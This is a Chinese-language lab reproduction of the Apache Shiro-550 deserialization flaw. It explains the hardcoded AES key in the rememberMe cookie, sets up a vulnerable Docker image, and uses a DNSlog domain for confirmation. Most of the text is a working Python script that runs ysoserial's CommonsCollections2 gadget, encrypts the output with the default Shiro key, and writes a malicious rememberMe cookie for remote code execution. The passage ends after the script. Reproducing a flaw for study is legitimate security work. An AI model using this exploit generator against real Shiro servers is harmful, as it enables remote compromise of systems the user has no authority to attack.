Shiro-550-只是复现没有定位

概述

产生原因

shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化.然而AES的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞

影响范围

Apache Shiro <= 1.2.4

复现环境

kali里的docker，pull一个已有镜像

sudo docker pull medicean/vulapps:s_shiro_1

启动环境，8081代表环境运行在宿主机的8081端口

sudo docker run -d 8081:8080 medicean/vulapps:s_shiro_1

复现过程

访问http://127.0.0.1:8081

avatar

抓包查看，响应包中存在rememberMe=deleteMe

avatar

我们这里用DNSlog来证明漏洞存在，获取一个DNSlog:hvl78d.dnslog.cn

avatar

生成新的rememberMe脚本shiro.py

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

生成新的rememberMe